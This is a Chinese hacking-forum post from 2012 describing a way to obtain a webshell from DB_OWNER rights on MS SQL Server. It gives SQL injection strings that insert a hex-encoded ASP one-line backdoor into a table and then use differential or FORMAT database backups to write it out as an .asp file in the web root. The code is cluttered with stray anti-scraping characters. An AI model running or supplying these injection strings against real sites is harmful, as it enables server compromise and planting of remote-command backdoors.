找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2103|回复: 0
打印 上一主题 下一主题

DB_OWNER权限得到webshell的改进办法

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-9 21:31:07 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
DB_OWNER权限得到webshell的两点改进:
5 b$ r" ]6 p. g; X/ R
/ o' g$ [/ g: q8 e减少备份文件大小,得到可执行的webshell成功率提高不少
2 @, U. [) \; d+ u) h4 u一利用差异备份
: Y, H! o" L* N; _2 f9 p1 K加一个参数WITH DIFFERENTIAL6 h! d! _; p6 y
7 V2 z  H4 O+ G# _
1
( j4 U2 V# `, B7 a& y$ t2
  j5 J$ C: l+ y9 J+ F4 m' P3  u! f: e7 k0 C0 o! y- F8 a
4
" H1 W4 x/ {5 g- b0 L) [6 C0 U declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
- \% k, C7 x, q9 O$ Y# Lcreate table [dbo].[xiaolu] ([cmd] [image]);
4 h3 P6 G2 W. d" D" {insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E)" |/ B4 ^+ w8 I3 f, {) D
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH DIFFERENTIAL / h1 @& M4 q8 v- i

$ e0 o/ G; {; g" v( z+ p5 m二利用完全FORMAT
8 s4 x% n7 V3 C0 G7 c7 n加一个参数WITH FROMAT, @4 z- d( x: y; s" X
有些页面对数据库要执行几次,而备份又默认是每次都以追加的方式,如果一个注入点对数据库有几次操作,而备份的文件就 几倍的增加,所以; |; `1 j5 l1 H1 C

2 [: N1 J6 r2 R. i+ O; w# L% O1
% ]3 s) @3 d8 B8 [6 M) }2
& `4 G9 \$ y5 o0 i; ?" g5 L3* |- y6 x, ~8 f2 M
4
5 @! j" ?% ^1 S. A! m declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x77006F006B0061006F002E00620061006B00 backup database @a to disk=@s
" C8 N4 `* r( z) [( F: Ocreate table [dbo].[xiaolu] ([cmd] [image]);! f4 o  Q: F8 g8 d$ ]/ w
insert into xiaolu(cmd) values(0x3C25657865637574652872657175657374282261222929253E). l' j4 G. C9 N3 M; u
declare @a sysname,@s nvarchar(4000) select @a=db_name(),@s=0x65003A005C007700650062005C0077006F006B0061006F002E00610073007000 backup database @a to disk=@s WITH FORMAT " v  g6 ]) u: Z8 v7 y3 w7 u! G

- o1 x6 r0 Q8 ~7 x总的来说就是那么简单几句,下面以备份数据库model为例子, T6 o! u* ?$ X7 D8 @6 {" K# F. ]/ E
1$ A9 B2 F: o. J6 q" T$ D  P
" K) O3 F" P- x4 t2 Y' E6 ]. \
1
# e" Q: Z! S, }' |. ~ id=1;use model create table cmd(str image);insert into cmd(str) values ('<%25execute(request("a"))%25>') 2 ?* |, ]9 X( ^+ \8 F. i

% j; @) B* A( W+ d- f% t3 ?7 N2- D& h1 d1 }0 |; x3 ^9 v

' l+ y3 E9 `& F1
2 }  p) Y7 P4 o! w9 E, x/ n3 I id=1;backup database model to disk='你的路径‘ with differential,format;-- # o: P. `5 s5 H' k" B
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表